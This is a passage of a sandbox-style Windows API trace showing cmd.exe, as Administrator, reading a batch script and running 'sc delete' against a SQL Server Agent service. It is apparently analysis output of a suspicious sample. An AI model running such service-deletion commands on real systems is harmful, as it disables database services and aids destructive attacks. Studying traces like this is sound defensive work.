dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.609] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.609] GetProcessHeap () returned 0x4a0000 [0071.609] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.609] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.610] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.610] GetProcessHeap () returned 0x4a0000 [0071.610] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.610] GetProcessHeap () returned 0x4a0000 [0071.610] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.610] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$PROGID\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"SQLAgent$PROGID\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb48, dwThreadId=0x4e4)) returned 1 [0071.614] CloseHandle (hObject=0x50) returned 1 [0071.614] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.614] GetProcessHeap () returned 0x4a0000 [0071.614] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.614] GetEnvironmentStringsW () returned 0x4c1b10* [0071.614] GetProcessHeap () returned 0x4a0000 [0071.614] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.614] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.614] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.614] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.614] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0071.664] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.664] CloseHandle (hObject=0x54) returned 1 [0071.664] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.664] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.664] GetProcessHeap () returned 0x4a0000 [0071.665] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.665] GetEnvironmentStringsW () returned 0x4c1b10* [0071.665] GetProcessHeap () returned 0x4a0000 [0071.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.665] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.665] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.665] GetProcessHeap () returned 0x4a0000 [0071.665] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.665] GetEnvironmentStringsW () returned 0x4c1b10* [0071.665] GetProcessHeap () returned 0x4a0000 [0071.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0071.665] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.665] GetProcessHeap () returned 0x4a0000 [0071.665] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.665] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.665] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.666] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.666] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.666] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.666] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.666] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.666] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.666] GetConsoleOutputCP () returned 0x1b5 [0071.667] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.667] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.667] GetProcessHeap () returned 0x4a0000 [0071.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.668] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.668] GetFileType (hFile=0x120) returned 0x3 [0071.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.668] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.668] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.668] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.668] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.668] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.668] GetFileType (hFile=0x120) returned 0x3 [0071.668] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.668] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.668] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.668] GetFileType (hFile=0xb8) returned 0x3 [0071.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.669] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.669] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.669] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.670] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.670] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.670] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.670] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="QLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="LAgent$PROGID\"\nER\"\n\n\n") returned 1 [0071.671] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.671] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.671] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Agent$PROGID\"\nER\"\n\n\n") returned 1 [0071.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="gent$PROGID\"\nER\"\n\n\n") returned 1 [0071.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="ent$PROGID\"\nER\"\n\n\n") returned 1 [0071.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="nt$PROGID\"\nER\"\n\n\n") returned 1 [0071.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, 